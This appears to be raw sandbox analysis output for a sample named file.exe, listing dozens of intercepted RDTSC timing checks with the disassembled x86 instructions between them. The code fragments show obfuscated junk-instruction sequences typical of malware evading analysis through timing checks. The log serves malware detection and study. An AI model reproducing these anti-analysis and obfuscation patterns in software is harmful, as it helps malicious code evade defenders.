Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12983DE second address: 12983E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12983E4 second address: 1298402 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6E3CB812ECh 0x00000008 ja 00007F6E3CB812E6h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F6E3CB812EBh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298559 second address: 129855D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298AE3 second address: 1298AE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1298AE9 second address: 1298B3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007F6E3CB7CFE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F6E3CB7CFF6h 0x00000011 push edi 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F6E3CB7CFF9h 0x00000019 pop edi 0x0000001a popad 0x0000001b jg 00007F6E3CB7CFF8h 0x00000021 jg 00007F6E3CB7CFF2h 0x00000027 jnp 00007F6E3CB7CFE6h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B50E second address: 129B514 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B514 second address: 129B568 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F6E3CB7CFE8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 sub ecx, dword ptr [ebp+122D3652h] 0x0000002c push 00000000h 0x0000002e adc cl, FFFFFFECh 0x00000031 push 5433C634h 0x00000036 push eax 0x00000037 push edx 0x00000038 je 00007F6E3CB7CFE8h 0x0000003e push edi 0x0000003f pop edi 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B568 second address: 129B56D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B56D second address: 129B5D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 5433C6B4h 0x00000010 clc 0x00000011 push 00000003h 0x00000013 xor dword ptr [ebp+122D1B9Eh], eax 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F6E3CB7CFE8h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000016h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 mov esi, 258E1920h 0x0000003a jo 00007F6E3CB7CFE6h 0x00000040 push 00000003h 0x00000042 mov esi, 1FED7F3Bh 0x00000047 push AC752587h 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push edx 0x00000050 pop edx 0x00000051 jmp 00007F6E3CB7CFF5h 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B5D8 second address: 129B659 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6E3CB812EDh 0x00000008 jmp 00007F6E3CB812ECh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xor dword ptr [esp], 6C752587h 0x00000017 mov dword ptr [ebp+122D26C3h], esi 0x0000001d lea ebx, dword ptr [ebp+1244D429h] 0x00000023 call 00007F6E3CB812F3h 0x00000028 jmp 00007F6E3CB812ECh 0x0000002d pop edi 0x0000002e jc 00007F6E3CB812E8h 0x00000034 mov edx, ebx 0x00000036 xchg eax, ebx 0x00000037 jmp 00007F6E3CB812F9h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 jnc 00007F6E3CB812E6h 0x00000046 pushad 0x00000047 popad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B789 second address: 129B7A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3CB7CFF8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B7A6 second address: 129B7AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B7AB second address: 129B84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a add dword ptr [ebp+122D2A72h], esi 0x00000010 push 00000003h 0x00000012 mov edx, 6CD60901h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F6E3CB7CFE8h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 movsx ecx, cx 0x00000036 push 00000003h 0x00000038 push E7051D48h 0x0000003d jmp 00007F6E3CB7CFEFh 0x00000042 xor dword ptr [esp], 27051D48h 0x00000049 sub dword ptr [ebp+122D2E0Dh], ecx 0x0000004f lea ebx, dword ptr [ebp+1244D432h] 0x00000055 mov dword ptr [ebp+122D2E0Dh], esi 0x0000005b xchg eax, ebx 0x0000005c pushad 0x0000005d jbe 00007F6E3CB7CFF9h 0x00000063 jmp 00007F6E3CB7CFF3h 0x00000068 jmp 00007F6E3CB7CFEEh 0x0000006d popad 0x0000006e push eax 0x0000006f jg 00007F6E3CB7CFEEh 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B929 second address: 129B9CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push 00000000h 0x00000008 push edx 0x00000009 call 00007F6E3CB812E8h 0x0000000e pop edx 0x0000000f mov dword ptr [esp+04h], edx 0x00000013 add dword ptr [esp+04h], 00000014h 0x0000001b inc edx 0x0000001c push edx 0x0000001d ret 0x0000001e pop edx 0x0000001f ret 0x00000020 push 00000003h 0x00000022 sub dword ptr [ebp+122D17B3h], esi 0x00000028 push 00000000h 0x0000002a sub dword ptr [ebp+122D339Eh], edx 0x00000030 pushad 0x00000031 call 00007F6E3CB812EAh 0x00000036 pop ebx 0x00000037 cld 0x00000038 popad 0x00000039 push 00000003h 0x0000003b cmc 0x0000003c push B8B1B284h 0x00000041 jng 00007F6E3CB812F8h 0x00000047 xor dword ptr [esp], 78B1B284h 0x0000004e or esi, dword ptr [ebp+122D261Ah] 0x00000054 lea ebx, dword ptr [ebp+1244D43Dh] 0x0000005a pushad 0x0000005b jmp 00007F6E3CB812F4h 0x00000060 jmp 00007F6E3CB812F5h 0x00000065 popad 0x00000066 push eax 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BD20C second address: 12BD228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6E3CB7CFE6h 0x0000000a jmp 00007F6E3CB7CFEFh 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BD228 second address: 12BD233 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F6E3CB812E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BD233 second address: 12BD23D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB27D second address: 12BB299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6E3CB812F7h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB299 second address: 12BB2B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E3CB7CFF4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB2B3 second address: 12BB2B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB2B7 second address: 12BB2BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB400 second address: 12BB404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB404 second address: 12BB435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F6E3CB7CFECh 0x0000000e jc 00007F6E3CB7CFE6h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 push edi 0x0000001a pop edi 0x0000001b popad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push ebx 0x00000020 push edi 0x00000021 pop edi 0x00000022 pop ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F6E3CB7CFEAh 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB435 second address: 12BB44D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812F4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB44D second address: 12BB453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BB6E9 second address: 12BB71A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3CB812EBh 0x00000009 js 00007F6E3CB812E6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6E3CB812F9h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBA54 second address: 12BBA5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBD3E second address: 12BBD42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AFC2A second address: 12AFC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F6E3CB7CFF0h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jp 00007F6E3CB7CFE6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AFC4B second address: 12AFC54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCA93 second address: 12BCA97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCA97 second address: 12BCAA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jo 00007F6E3CB812E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCAA9 second address: 12BCAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F6E3CB7CFEBh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCAB9 second address: 12BCAF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6E3CB812F7h 0x00000008 jmp 00007F6E3CB812F4h 0x0000000d jmp 00007F6E3CB812EDh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCAF9 second address: 12BCB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3CB7CFEFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCC69 second address: 12BCC86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6E3CB812F8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCC86 second address: 12BCCA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jbe 00007F6E3CB7CFE6h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F6E3CB7CFE8h 0x00000017 push eax 0x00000018 pop eax 0x00000019 js 00007F6E3CB7CFEEh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BCCA7 second address: 12BCCAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1D80 second address: 12C1D84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1D84 second address: 12C1D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1D8A second address: 12C1D9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E3CB7CFECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293E4C second address: 1293E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293E50 second address: 1293E83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFF1h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F6E3CB7CFF6h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293E83 second address: 1293E87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293E87 second address: 1293E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293E90 second address: 1293E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 js 00007F6E3CB812EEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6B65 second address: 12C6B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7229 second address: 12C723E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F6E3CB812ECh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C913E second address: 12C9142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C91CE second address: 12C91D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C91D8 second address: 12C91DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C94B5 second address: 12C94BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C95B3 second address: 12C95BD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6E3CB7CFE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C96B3 second address: 12C96CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6E3CB812EEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C96CA second address: 12C96CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C96CE second address: 12C96DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9D9C second address: 12C9DA1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CA1D6 second address: 12CA1DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CAA3F second address: 12CAA45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CAA45 second address: 12CAA57 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F6E3CB812E6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CAA57 second address: 12CAA5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB39D second address: 12CB3A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CBD73 second address: 12CBD77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB3A2 second address: 12CB3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE52F second address: 12CE533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE533 second address: 12CE537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CEFB7 second address: 12CEFBD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5048 second address: 12D504C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D504C second address: 12D50AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 sub dword ptr [ebp+1245FEA8h], edx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F6E3CB7CFE8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a call 00007F6E3CB7CFEEh 0x0000002f mov dword ptr [ebp+122D2D07h], eax 0x00000035 pop edi 0x00000036 push 00000000h 0x00000038 jnp 00007F6E3CB7CFE8h 0x0000003e mov edi, ecx 0x00000040 xchg eax, esi 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F6E3CB7CFF0h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D50AF second address: 12D50B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D50B3 second address: 12D50C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D61CF second address: 12D61D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D72F8 second address: 12D72FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D4274 second address: 12D42CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB812EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f jns 00007F6E3CB812E8h 0x00000015 popad 0x00000016 nop 0x00000017 push dword ptr fs:[00000000h] 0x0000001e pushad 0x0000001f jp 00007F6E3CB812ECh 0x00000025 popad 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d mov bx, cx 0x00000030 mov eax, dword ptr [ebp+122D150Dh] 0x00000036 mov ebx, dword ptr [ebp+122D2D59h] 0x0000003c push FFFFFFFFh 0x0000003e movzx ebx, bx 0x00000041 nop 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 pushad 0x00000046 popad 0x00000047 jns 00007F6E3CB812E6h 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D72FC second address: 12D738E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3CB7CFF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F6E3CB7CFE8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D2CE9h] 0x0000002d push 00000000h 0x0000002f mov dword ptr [ebp+122D2B93h], ecx 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F6E3CB7CFE8h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 00000016h 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 sub edi, dword ptr [ebp+122DB6CDh] 0x00000057 mov dword ptr [ebp+122D226Ah], ecx 0x0000005d xchg eax, esi 0x0000005e push ecx 0x0000005f jnl 00007F6E3CB7CFE8h 0x00000065 push edx 0x00000066 pop edx 0x00000067 pop ecx 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c ja 00007F6E3CB7CFE6h 0x00000072 push edx 0x00000073 pop edx 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D42CF second address: 12D42E5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6E3CB812E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F6E3CB812E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D42E5 second address: 12D4302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6E3CB7CFF5h 0x0000000d rdtsc
